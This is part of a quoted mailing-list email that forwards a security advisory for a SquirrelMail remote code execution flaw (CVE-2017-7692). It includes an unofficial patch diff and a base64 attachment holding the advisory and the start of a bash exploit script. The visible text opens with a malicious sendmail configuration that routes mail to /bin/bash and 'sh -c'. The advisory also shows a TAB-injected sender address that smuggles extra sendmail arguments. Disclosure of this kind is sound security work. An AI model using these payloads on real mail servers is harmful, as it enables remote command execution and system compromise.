>>>>> R $+ : $* ;   $@ $1 : $2;     list syntax
>>>>> R$+ @ $+    $: $1 < @ $2 >      focus on domain
>>>>> R$+ < $+ @ $+ >   $1 $2 < @ $3 >      move gaze right
>>>>> R$+ < @ $+ >    $@ $>Canonify2 $1 < @ $2 >  already canonical
>>>>> R$- ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  resolve uucp names
>>>>> R$+ . $- ! $+   $@ $>Canonify2 $3 < @ $1 . $2 >   domain uucps
>>>>> R$+ ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  uucp subdomains
>>>>> R$* %% $*   $1 @ $2       First make them all @s.
>>>>> R$* @ $* @ $*   $1 %% $2 @ $3     Undo all but the last.
>>>>> R$* @ $*    $@ $>Canonify2 $1 < @ $2 >  Insert < > and finish
>>>>> R$*     $@ $>Canonify2 $1
>>>>> SCanonify2=3D96
>>>>> R$* < @ localhost > $*    $: $1 < @ $j . > $2   no domain at all
>>>>> R$* < @ localhost . $m > $* $: $1 < @ $j . > $2   local domain
>>>>> R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2   .UUCP domain
>>>>> R$* < @ [ $+ ] > $*   $: $1 < @@ [ $2 ] > $3    mark [addr]
>>>>> R$* < @@ $=3Dw > $*   $: $1 < @ $j . > $3   self-literal
>>>>> R$* < @@ $+ > $*    $@ $1 < @ $2 > $3   canon IP addr
>>>>> Sfinal=3D4
>>>>> R$+ :; <@>    $@ $1 :       handle <list:;>
>>>>> R$* <@>     $@        handle <> and list:;
>>>>> R$* < @ $+ . > $* $1 < @ $2 > $3
>>>>> R$* < @ *LOCAL* > $*  $1 < @ $j > $2
>>>>> R$* < $+ > $*   $1 $2 $3      defocus
>>>>> R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3    <route-addr> canonical
>>>>> R@ $*     $@ @ $1       ... and exit
>>>>> R$+ @ $- . UUCP   $2!$1       u@h.UUCP =3D> h!u
>>>>> R$+ %% $=3Dw @ $=3Dw    $1 @ $2       u%%host@host =3D> u@host
>>>>> SRecurse=3D97
>>>>> R$*     $: $>canonify $1
>>>>> R$*     $@ $>parse $1
>>>>> Sparse=3D0
>>>>> R$*     $: $>Parse0 $1    initial parsing
>>>>> R<@>      $#local $: <@>    special case error msgs
>>>>> R$*     $: $>ParseLocal $1  handle local hacks
>>>>> R$*     $: $>Parse1 $1    final parsing
>>>>> SParse0
>>>>> R<@>      $@ <@>      special case error msgs
>>>>> R$* : $* ; <@>    $#error $@ 5.1.3 $: "553 List:; syntax illegal for =
recipient addresses"
>>>>> R@ <@ $* >    < @ $1 >    catch "@@host" bogosity
>>>>> R<@ $+>     $#error $@ 5.1.3 $: "553 User address required"
>>>>> R$+ <@>     $#error $@ 5.1.3 $: "553 Hostname required"
>>>>> R$*     $: <> $1
>>>>> R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
>>>>> R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
>>>>> R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
>>>>> R<> $* < @ [ $+ ] > $*    $1 < @ [ $2 ] > $3
>>>>> R<> $* <$* : $* > $*  $#error $@ 5.1.3 $: "553 Colon illegal in host =
name part"
>>>>> R<> $*      $1
>>>>> R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>>>>> R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>>>>> R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
>>>>> R$* @ $* < @ $* > $*  $#error $@ 5.1.3 $: "553 Invalid route address"
>>>>> R$* , $~O $*    $#error $@ 5.1.3 $: "553 Invalid route address"
>>>>> R$* < @ > $*    $@ $>Parse0 $>canonify $1 user@ =3D> user
>>>>> R< @ $=3Dw . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
>>>>> R$- < @ $=3Dw . >   $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
>>>>> R< @ $+ >   $#error $@ 5.1.3 $: "553 User address required"
>>>>> R$* $=3DO $* < @ $=3Dw . >  $@ $>Parse0 $>canonify $1 $2 $3 ...@here =
-> ...
>>>>> R$-       $: $(dequote $1 $) < @ *LOCAL* >  dequote "foo"
>>>>> R< @ *LOCAL* >    $#error $@ 5.1.3 $: "553 User address required"
>>>>> R$* $=3DO $* < @ *LOCAL* >
>>>>>     $@ $>Parse0 $>canonify $1 $2 $3 ...@*LOCAL* -> ...
>>>>> R$* < @ *LOCAL* > $: $1
>>>>> SParse1
>>>>> R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3  numeric inter=
net spec
>>>>> R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3  Add smart host to pat=
h
>>>>> R$* < @ [ $+ ] : > $*   $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarth=
ost: send
>>>>> R$* < @ [ $+ ] : $- : $*> $*  $#$3 $@ $4 $: $1 < @ [$2] > $5  smartho=
st with mailer
>>>>> R$* < @ [ $+ ] : $+ > $*  $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost=
 without mailer
>>>>> R$=3DL < @ $=3Dw . >  $#local $: @ $1     special local names
>>>>> R$+ < @ $=3Dw . >   $#local $: $1     regular local name
>>>>> R$* < @ $* > $*   $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on s=
marthost name
>>>>> R$* < @$* > $*    $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain
>>>>> R$=3DL      $#local $: @ $1   special local names
>>>>> R$+     $#local $: $1     regular local names
>>>>> SLocal_localaddr
>>>>> Slocaladdr=3D5
>>>>> R$+     $: $1 $| $>"Local_localaddr" $1
>>>>> R$+ $| $#ok   $@ $1     no change
>>>>> R$+ $| $#$*   $#$2
>>>>> R$+ $| $*   $: $1
>>>>> R$+ + *     $#local $@ $&h $: $1
>>>>> R$+ + $*    $#local $@ + $2 $: $1 + *
>>>>> R$+     $: <> $1
>>>>> R< > $+     $: < > < $1 <> $&h >    nope, restore +detail
>>>>> R< > < $+ <> + $* > $: < > < $1 + $2 >    check whether +detail
>>>>> R< > < $+ <> $* > $: < > < $1 >     else discard
>>>>> R< > < $+ + $* > $*    < > < $1 > + $2 $3   find the user part
>>>>> R< > < $+ > + $*  $#local $@ $2 $: @ $1   strip the extra +
>>>>> R< > < $+ >   $@ $1       no +detail
>>>>> R$+     $: $1 <> $&h      add +detail back in
>>>>> R$+ <> + $*   $: $1 + $2      check whether +detail
>>>>> R$+ <> $*   $: $1       else discard
>>>>> R< local : $* > $*  $: $>MailerToTriple < local : $1 > $2 no host ext=
ension
>>>>> R< error : $* > $*  $: $>MailerToTriple < error : $1 > $2 no host ext=
ension
>>>>> R< $~[ : $+ > $+  $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
>>>>> R< $+ > $+    $@ $>MailerToTriple < $1 > $2 < @ $1 >
>>>>> SParseLocal=3D98
>>>>> SEnvFromL
>>>>> R<@>      $n      errors to mailer-daemon
>>>>> R@ <@ $*>   $n      temporarily bypass Sun bogosity
>>>>> R$+     $: $>AddDomain $1 add local domain if needed
>>>>> R$*     $: $>MasqEnv $1   do masquerading
>>>>> SEnvToL
>>>>> R$+ < @ $* >    $: $1     strip host part
>>>>> R$+ + $*    $: < $&{addr_type} > $1 + $2  mark with addr type
>>>>> R<e s> $+ + $*    $: $1     remove +detail for sender
>>>>> R< $* > $+    $: $2     else remove mark
>>>>> SHdrFromL
>>>>> R<@>      $n      errors to mailer-daemon
>>>>> R@ <@ $*>   $n      temporarily bypass Sun bogosity
>>>>> R$+     $: $>AddDomain $1 add local domain if needed
>>>>> R$*     $: $>MasqHdr $1   do masquerading
>>>>> SHdrToL
>>>>> R$+     $: $>AddDomain $1 add local domain if needed
>>>>> R$*     $: $>MasqHdr $1   do all-masquerading
>>>>> SAddDomain
>>>>> R$* < @ $* > $*   $@ $1 < @ $2 > $3 already fully qualified
>>>>> R$+     $@ $1 < @ *LOCAL* > add local qualification
>>>>> Mlocal,   P=3D/bin/bash, F=3DlsDFMAw5:/|@qPn9S, S=3DEnvFromL/HdrFromL=
, R=3DEnvToL/HdrToL,
>>>>>   T=3DDNS/RFC822/X-Unix,
>>>>>   A=3DX %s
>>>>> Mprog,    P=3D/bin/sh, F=3DlsDFMoqeu9, S=3DEnvFromL/HdrFromL, R=3DEnv=
ToL/HdrToL, D=3D$z:/,
>>>>>   T=3DX-Unix/X-Unix/X-Unix,
>>>>>   A=3Dsh -c $u
>>>>>
>>>>> """
>>>>>
>>>>> if __name__ =3D=3D __main__:
>>>>> main(sys.argv)
>>>>>
>>>>> EOF
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> SOLUTION
>>>>>
>>>>> Since the vendor did not respond to our mails, no official fix is ava=
ilable.
>>>>> However, the following unofficial patch can be used to fix this vulne=
rability.
>>>>>
>>>>> BOF
>>>>> diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.=
class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliv=
er_SendMail.class.php
>>>>> --- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.=
php  2011-01-06 02:44:03.000000000 +0000
>>>>> +++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliv=
er_SendMail.class.php  2017-04-18 11:42:26.505181944 +0000
>>>>> @@ -93,9 +93,9 @@
>>>>>        $envelopefrom =3D trim($from->mailbox.@.$from->host);
>>>>>        $envelopefrom =3D str_replace(array("","
"),array(,),$e=
nvelopefrom);
>>>>>        // save executed command for future reference
>>>>> -        $this->sendmail_command =3D "$sendmail_path $this->sendmail_=
args -f$envelopefrom";
>>>>> +        $this->sendmail_command =3D escapeshellcmd("$sendmail_path $=
this->sendmail_args -f") . escapeshellarg($envelopefrom);
>>>>>        // open process handle for writing
>>>>> -        $stream =3D popen(escapeshellcmd($this->sendmail_command), "=
w");
>>>>> +        $stream =3D popen($this->sendmail_command, "w");
>>>>>        return $stream;
>>>>>    }
>>>>> EOF
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> REFERENCES
>>>>>
>>>>> https://squirrelmail.org/
>>>>> https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execut=
ion.html
>>>>>
>>>>>
>>>>
>>>>
>>>>
>>>> --
>>>> Regards,
>>>> Dawid Golunski
>>>> https://legalhackers.com
>>>> t: @dawid_golunski
>>>
>>
>>
>>
>> --
>> Regards,
>> Dawid Golunski
>> https://legalhackers.com
>> t: @dawid_golunski
>

--f403045dd974f3e969054dd9c056
Content-Type: text/plain; charset=US-ASCII; name="SquirrelMail_RCE_exploit.txt"
Content-Disposition: attachment; filename="SquirrelMail_RCE_exploit.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_j1v15b6c0

CgogICAgX18gICAgICAgICAgICAgICAgICAgICBfXyAgIF9fICBfXyAgICAgICAgICAgX18gICAg
ICAgICAgICAgICAgIAogICAvIC8gICBfX18gIF9fX18gX19fX18gXy8gLyAgLyAvIC8gL19fXyBf
X19fX18vIC9fX19fXyAgX19fX19fX19fXwogIC8gLyAgIC8gXyBcLyBfXyBgLyBfXyBgLyAvICAv
IC9fLyAvIF9fIGAvIF9fXy8gLy9fLyBfIFwvIF9fXy8gX19fLwogLyAvX19fLyAgX18vIC9fLyAv
IC9fLyAvIC8gIC8gX18gIC8gL18vIC8gL19fLyAsPCAvICBfXy8gLyAgKF9fICApIAovX19fX18v
XF9fXy9cX18sIC9cX18sXy9fLyAgL18vIC9fL1xfXyxfL1xfX18vXy98X3xcX19fL18vICAvX19f
Xy8gIAogICAgICAgICAgIC9fX19fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAoKCgoKfn5+fn5+fn5+fn5+fiBFeHBsb2l0Qm94LmlvIH5+fn5+fn5+
fn5+fn5+fn4KSW50ZXJlc3RlZCBpbiBzZWN1cml0eSAvIHZ1bG5zIC8gZXhwbG9pdHMgPwpDaGVj
ayBvdXQgdGhlIG5ldyBwcm9qZWN0IG9mIHRoZSBhdXRob3Igb2YgdGhpcyBhZHZpc29yeToKCkV4
cGxvaXRCb3guaW8KQSBQbGF5Z3JvdW5kICYgTGFicyBmb3Igc2VjdXJpdHkgZm9sa3MgaW50bwpo
YWNraW5nICYgdGhlIGFydCBvZiBleHBsb2l0YXRpb24Kfn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+
fn5+fn5+fn5+fn5+fn5+fn5+fn4KCgoKCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09Ci0gQXV0aG9yOiBEYXdpZCBHb2x1bnNraQotIGRhd2lkW2F0XWxlZ2FsaGFj
a2Vycy5jb20KLSBodHRwczovL2xlZ2FsaGFja2Vycy5jb20KCi0gQ1ZFLTIwMTctNzY5MgotIFJl
bGVhc2UgZGF0ZTogIDIyLjA0LjIwMTcKLSBSZXZpc2lvbiAxLjAKLSBTZXZlcml0eTogQ3JpdGlj
YWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgoKSS4gVlVM
TkVSQUJJTElUWQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpTcXVpcnJlbE1haWwgPD0gMS40
LjIyIFJlbW90ZSBDb2RlIEV4ZWN1dGlvbgoKCklJLiBCQUNLR1JPVU5ECi0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0KCiIKU3F1aXJyZWxNYWlsIGlzIGEgc3RhbmRhcmRzLWJhc2VkIHdlYm1haWwg
cGFja2FnZSB3cml0dGVuIGluIFBIUC4gCkl0IGluY2x1ZGVzIGJ1aWx0LWluIHB1cmUgUEhQIHN1
cHBvcnQgZm9yIHRoZSBJTUFQIGFuZCBTTVRQIHByb3RvY29scywgYW5kIGFsbApwYWdlcyByZW5k
ZXIgaW4gcHVyZSBIVE1MIDQuMCAod2l0aCBubyBKYXZhU2NyaXB0IHJlcXVpcmVkKSBmb3IgbWF4
aW11bSAKY29tcGF0aWJpbGl0eSBhY3Jvc3MgYnJvd3NlcnMuIEl0IGhhcyB2ZXJ5IGZldyByZXF1
aXJlbWVudHMgYW5kIGlzIHZlcnkgZWFzeQp0byBjb25maWd1cmUgYW5kIGluc3RhbGwuIFNxdWly
cmVsTWFpbCBoYXMgYWxsIHRoZSBmdW5jdGlvbmFsaXR5IHlvdSB3b3VsZCAKd2FudCBmcm9tIGFu
IGVtYWlsIGNsaWVudCwgaW5jbHVkaW5nIHN0cm9uZyBNSU1FIHN1cHBvcnQsIGFkZHJlc3MgYm9v
a3MsIGFuZApmb2xkZXIgbWFuaXB1bGF0aW9uLiIKCmh0dHBzOi8vc3F1aXJyZWxtYWlsLm9yZy9h
Ym91dC8KCklJSS4gSU5UUk9EVUNUSU9OCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KClNxdWly
cmVsTWFpbCBpcyBhZmZlY3RlZCBieSBhIGNyaXRpY2FsIFJlbW90ZSBDb2RlIEV4ZWN1dGlvbiB2
dWxuZXJhYmlsaXR5CndoaWNoIHN0ZW1zIGZyb20gaW5zdWZmaWNpZW50IGVzY2FwaW5nIG9mIHVz
ZXItc3VwcGxpZWQgZGF0YSB3aGVuIApTcXVpcnJlbE1haWwgaGFzIGJlZW4gY29uZmlndXJlZCB3
aXRoIFNlbmRtYWlsIGFzIHRoZSBtYWluIHRyYW5zcG9ydC4KQW4gYXV0aGVudGljYXRlZCBhdHRh
Y2tlciBtYXkgYmUgYWJsZSB0byBleHBsb2l0IHRoZSB2dWxuZXJhYmlsaXR5CnRvIGV4ZWN1dGUg
YXJiaXRyYXJ5IGNvbW1hbmRzIG9uIHRoZSB0YXJnZXQgYW5kIGNvbXByb21pc2UgdGhlIHJlbW90
ZQpzeXN0ZW0uCgpJVi4gREVTQ1JJUFRJT04KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKVGhl
IHZ1bG5lcmFiaWxpdHkgaXMgc2ltaWxhciB0byB0aGUgZm9sbG93aW5nIHZ1bG5lcmFiaWxpdGll
cyBwcmV2aW91c2x5IGRpc2NvdmVyZWQKYnkgdGhlIGF1dGhvciBvZiB0aGlzIGFkdmlzb3J5OgoK
aHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvUEhQTWFpbGVyLUV4cGxvaXQtUmVt
b3RlLUNvZGUtRXhlYy1DVkUtMjAxNi0xMDAzMy1WdWxuLmh0bWwKCmh0dHBzOi8vbGVnYWxoYWNr
ZXJzLmNvbS9hZHZpc29yaWVzL1N3aWZ0TWFpbGVyLUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1D
VkUtMjAxNi0xMDA3NC1WdWxuLmh0bWwKCgpXaGVuIFNxdWlycmVsTWFpbCBoYXMgYmVlbiBjb25m
aWd1cmVkIHdpdGggU2VuZG1haWwgYXMgZGVsaXZlcnkgdHJhbnNwb3J0LApTcXVpcnJlbE1haWwg
dXNlcyB0aGUgZm9sbG93aW5nIGZ1bmN0aW9uIHRvIHNlbmQgb3V0IHVzZXIgZW1haWxzOgoKLS0t
LS1bIC4vY2xhc3MvZGVsaXZlci9EZWxpdmVyX1NlbmRNYWlsLmNsYXNzLnBocCBdLS0tLS0KCiAg
ICBmdW5jdGlvbiBpbml0U3RyZWFtKCRtZXNzYWdlLCAkc2VuZG1haWxfcGF0aCwgJGlnbm9yZT0w
LCAkaWdub3JlPScnLCAkaWdub3JlPScnLCAkaWdub3JlPScnLCAkaWdub3JlPScnLCAkaWdub3Jl
PWZhbHNlLCAkaWdub3JlPScnKSB7CiAgICAgICAgJHJmYzgyMl9oZWFkZXIgPSAkbWVzc2FnZS0+
cmZjODIyX2hlYWRlcjsKICAgICAgICAkZnJvbSA9ICRyZmM4MjJfaGVhZGVyLT5mcm9tWzBdOwog
ICAgICAgICRlbnZlbG9wZWZyb20gPSB0cmltKCRmcm9tLT5tYWlsYm94LidAJy4kZnJvbS0+aG9z
dCk7CiAgICAgICAgJGVudmVsb3BlZnJvbSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcMCIsIlxuIiks
YXJyYXkoJycsJycpLCRlbnZlbG9wZWZyb20pOwogICAgICAgIC8vIHNhdmUgZXhlY3V0ZWQgY29t
bWFuZCBmb3IgZnV0dXJlIHJlZmVyZW5jZQogICAgICAgICR0aGlzLT5zZW5kbWFpbF9jb21tYW5k
ID0gIiRzZW5kbWFpbF9wYXRoICR0aGlzLT5zZW5kbWFpbF9hcmdzIC1mJGVudmVsb3BlZnJvbSI7
CiAgICAgICAgLy8gb3BlbiBwcm9jZXNzIGhhbmRsZSBmb3Igd3JpdGluZwogICAgICAgICRzdHJl
YW0gPSBwb3Blbihlc2NhcGVzaGVsbGNtZCgkdGhpcy0+c2VuZG1haWxfY29tbWFuZCksICJ3Iik7
CiAgICAgICAgcmV0dXJuICRzdHJlYW07CiAgICB9CgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgpTcXVpcnJlbE1haWwgYWxsb3dzIGF1
dGhlbnRpY2F0ZWQgdXNlcnMgdG8gY29udHJvbCBlbnZlbG9wZWZyb20gKFJldHVybi1QYXRoKSBh
ZGRyZXNzIAp0aHJvdWdoIHRoZSB3ZWJtYWlsIHdlYiBpbnRlcmZhY2UuCgpBcyB3ZSBjYW4gc2Vl
IGl0IGNhbGxzIHN0cl9yZXBsYWNlKCkgdG8gc2FuaXRpemUgdGhlIHVzZXIgaW5wdXQgdG8gcHJl
dmVudAppbmplY3Rpb24gb2YgYWRkaXRpb25hbCBwYXJhbWV0ZXJzIHRvIHRoZSBzZW5kbWFpbCBj
b21tYW5kLiAKVW5mb3J0dW5hdGVseSBpdCBkb2VzIG5vdCB0YWtlIGludG8gYWNjb3VudCBcdCAo
VEFCKSBjaGFyYWN0ZXIgd2hpY2ggY2FuIGJlCnVzZWQgYnkgYXR0YWNrZXJzIHRvIGluamVjdCBh
ZGRpdGlvbmFsIHBhcmFtZXRlcnMuCgoKSWYgYXR0YWNrZXIgc2V0cyB0aGVpciBlbWFpbCBhZGRy
ZXNzIChSZXR1cm4tUGF0aCkgaW4gdGhlIG9wdGlvbnMgdG8KYXR0YWNrZXJAbG9jYWxob3N0ICAg
LW9RL3RtcC8gICAgICAgIC1YL3RtcC9zcXBvYwoKYW5kIHRoZW4gc2VuZHMgYSBuZXcgZW1haWwu
ClRoZSBzZW5kbWFpbCBwcm9ncmFtIHdpbGwgYmUgY2FsbGVkIHdpdGggdGhlIGZvbGxvd2luZyBh
cmd1bWVudHM6CgpBcmcgbm8uIDAgPT0gWy91c3Ivc2Jpbi9zZW5kbWFpbF0KQXJnIG5vLiAxID09
IFstaV0KQXJnIG5vLiAyID09IFstdF0KQXJnIG5vLiAzID09IFstZmF0dGFja2VyQGxvY2FsaG9z
dF0KQXJnIG5vLiA0ID09IFstb1EvdG1wL10KQXJnIG5vLiA1ID09IFstWC90bXAvc3Fwb2NdCgp3
aGljaCB3aWxsIHJlc3VsdCBpbiAvdG1wL3NxcGMgZmlsZSBjcmVhdGVkIG9uIGRpc2sgd2l0aCBl
bWFpbCBsb2cgKC1YIHBhcmFtZXRlcgpjYXVzZXMgc2VuZG1haWwgdG8gc2F2ZSB0aGUgZGVidWcv
bWFpbGxvZyBpbnRvIGEgZmlsZSkuCgoKQXMgZGVtb25zdHJhdGVkIGJ5IHRoZSBQb0MgZXhwbG9p
dCBiZWxvdywgYXR0YWNrZXIgY2FuIGFsc28gaW5qZWN0IC1DcGFyYW1ldGVyICB0byAKcHJvdmlk
ZSBhIG1hbGljaW91cyBzZW5kbWFpbCBjb25maWcgZmlsZSB3aGljaCBjYW4gYmUgdXBsb2FkZWQg
YXMgYW4gYXR0YWNobWVudCB0bwphY2hpZXZlIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbi4K
CgpWLiBQUk9PRiBPRiBDT05DRVBUIEVYUExPSVQKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoK
Ci0tLS0tWyBTcXVpcnJlbE1haWxfUkNFX2V4cGxvaXQuc2ggXS0tLS0tLQoKIyEvYmluL2Jhc2gK
IwppbnQ9J1wwMzNbOTRtCiAgICAgX18gICAgICAgICAgICAgICAgICAgICBfXyAgIF9fICBfXyAg
ICAgICAgICAgX18gICAgICAgICAgICAgICAgIAogICAgLyAvICAgX19fICBfX19fIF9fX19fIF8v
IC8gIC8gLyAvIC9fX18gX19fX19fLyAvX19fX18gIF9fX19fX19fX18KICAgLyAvICAgLyBfIFwv
IF9fIGAvIF9fIGAvIC8gIC8gL18vIC8gX18gYC8gX19fLyAvL18vIF8gXC8gX19fLyBfX18vCiAg
LyAvX19fLyAgX18vIC9fLyAvIC9fLyAvIC8gIC8gX18gIC8gL18vIC8gL19fLyAsPCAvICBfXy8g
LyAgKF9fICApIAogL19fX19fL1xfX18vXF9fLCAvXF9fLF8vXy8gIC9fLyAvXy9cX18sXy9cX19f
L18vfF98XF9fXy9fLyAgL19fX18vICAKICAgICAgICAgICAvX19fXy8gICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKClNxdWlycmVsTWFpbCA8PSAxLjQu
MjIgUmVtb3RlIENvZGUgRXhlY3V0aW9uIFBvQyBFeHBsb2l0IChDVkUtMjAxNy03NjkyKQoKU3F1
aXJyZWxNYWlsX1JDRV9leHBsb2l0LnNoICh2ZXIuIDEuMCkKCkRpc2NvdmVyZWQgYW5kIGNvZGVk
IGJ5IAoKRGF3aWQgR29sdW5za2kgKEBkYXdpZF9nb2x1bnNraSkKaHR0cHM6Ly9sZWdhbGhhY2tl
cnMuY29tCgpFeHBsb2l0Qm94IHByb2plY3Q6Cmh0dHBzOi8vRXhwbG9pdEJveC5pbwoKXDAzM1sw
bScKCiMgUXVpY2sgYW5kIG1lc3N5IFBvQyBmb3IgU3F1aXJyZWxNYWlsIHdlYm1haWwgYXBwbGlj
YXRpb24uCiMgSXQgY29udGFpbnMgcGF5bG9hZHMgZm9yIDIgdmVjdG9yczoKIyAqIEZpbGUgV3Jp
dGUKIyAqIFJDRSAKIyBJdCByZXF1aXJlcyB1c2VyIGNyZWRlbnRpYWxzIGFuZCB0aGF0IFNxdWly
cmVsTWFpbCB1c2VzIAojIFNlbmRtYWlsIG1ldGhvZCBhcyBlbWFpbCBkZWxpdmVyeSB0cmFuc3Bv
cnQKIwojCiMgRnVsbCBhZHZpc29yeSBVUkw6CiMgaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fk
dmlzb3JpZXMvU3F1aXJyZWxNYWlsLUV4cGxvaXQtUmVtb3RlLUNvZGUtRXhlYy1DVkUtMjAxNy03
NjkyLVZ1bG4uaHRtbAojCiMgVGVzdGVkIG9uOiAjIFVidW50dSAxNi4wNCAKIyBzcXVpcnJlbG1h
aWwgcGFja2FnZSB2ZXJzaW9uOgojIDI6MS40LjIzfnN2bjIwMTIwNDA2LTJ1YnVudHUxLjE2LjA0
LjEgCiMKIyBEaXNjbGFpbWVyOgojIEZvciB0ZXN0aW5nIHB1cnBvc2VzIG9ubHkKIwojCiMgLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0KIwojIEludGVyZXN0ZWQgaW4gdnVsbnMvZXhwbG9pdGF0aW9uPyAKIyBTdGF5IHR1bmVk
IGZvciBteSBuZXcgcHJvamVjdCAtIEV4cGxvaXRCb3gKIyAKIyAgICAgICAgICAgICAgICAgICAg
ICAgIC47bGMnICAgICAgICAgICAgICAgICAgICAgICAgICAKIyAgICAgICAgICAgICAgICAgICAg
LixjZGtrT09Pa287LiAgICAgICAgICAgICAgICAgICAgICAKIyAgICAgICAgICAgICAgICAgLixs
eHhra2trT09PTzAwME9sJyAgICAgICAgICAgICAgICAgICAKIyAgICAgICAgICAgICAuJzpveHh4
eHhra2trT09PTzAwMDBLSzB4OicgICAgICAgICAgICAgICAKIyAgICAgICAgICAuO2xkeHh4eHh4
eHhreGwsLidsazAwMDBLS0tYWFhLZDsuICAgICAgICAgICAKIyAgICAgICAnOm94eHh4eHh4eHh4
bzsuICAgICAgIC46b09LS0tYWFhOTk5OT2wuICAgICAgICAKIyAgICAgICcnO2xkeHh4eHhkYywu
ICAgICAgICAgICAgICAsb09YWFhOTk5YZDssLiAgICAgICAKIyAgICAgLmRkYzssLDpjOy4gICAg
ICAgICAsYzogICAgICAgICAuY3h4Yzo7Om94OiAgICAgICAKIyAgICAgLmR4eHh4bywgICAgIC4s
ICAgLGtNTU0wOi4gIC4sICAgICAubHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgIGxX
LiBvTU1NTU1NTUsgIGQwICAgICAueHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgIC4w
ay4sS1dNTU1XTm8gOlg6ICAgICAueHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgICAu
eE4weHh4eHh4eGtYSywgICAgICAueHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgbGRk
T01NTU1XZDBNTU1NS2RkZC4gICAueHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgICAu
Y05NTU1OLm9NTU1NeCcgICAgICAueHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgIGxL
bztkTk1OLm9NTTA7Ok9rLiAgICAneHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGMgICAgO01j
ICAgLmx4LjpvLCAgICBLbCAgICAneHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eGRsOy4gLiwg
ICAgICAgICAgICAgICAuLiAuO2NkeHh4eHh4OiAgICAgICAKIyAgICAgLmR4eHh4eHh4eHhkYywu
ICAgICAgICAgICAgICAnY2Rra3h4eHh4eHh4OiAgICAgICAKIyAgICAgIC4nOm94eHh4eHh4eHhk
bDsuICAgICAgIC47bHhra2tra3h4eHhkYywuICAgICAgICAKIyAgICAgICAgICAuO2xkeHh4eHh4
eHh4ZGMsIC5jeGtra2tra2tra3hkOi4gICAgICAgICAgICAKIyAgICAgICAgICAgICAuJzpveHh4
eHh4eHh4LmNra2tra2tra3hsLC4gICAgICAgICAgICAgICAKIyAgICAgICAgICAgICAgICAgLixj
ZHh4eHh4LmNra2tra3hjLiAgICAgICAgICAgICAgICAgICAKIyAgICAgICAgICAgICAgICAgICAg
Lic6b2R4LmNreGwsLiAgICAgICAgICAgICAgICAgICAgICAKIyAgICAgICAgICAgICAgICAgICAg
ICAgIC4sLicuICAgICAgCiMKIyBodHRwczovL0V4cGxvaXRCb3guaW8KIwojIGh0dHBzOi8vdHdp
dHRlci5jb20vRXhwbG9pdF9Cb3gKIwojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzcXNwb29sPSIvdmFyL3Nwb29sL3Nx
dWlycmVsbWFpbC9hdHRhY2gvIgoKZWNobyAtZSAiJGludCIKI2VjaG8gLWUgIlwwMzNbOTRtIFxu
U3F1aXJyZWxNYWlsIC0gUmVtb3RlIENvZGUgRXhlY3V0aW9uIFBvQyBFeHBsb2l0IChDVkUtMjAx
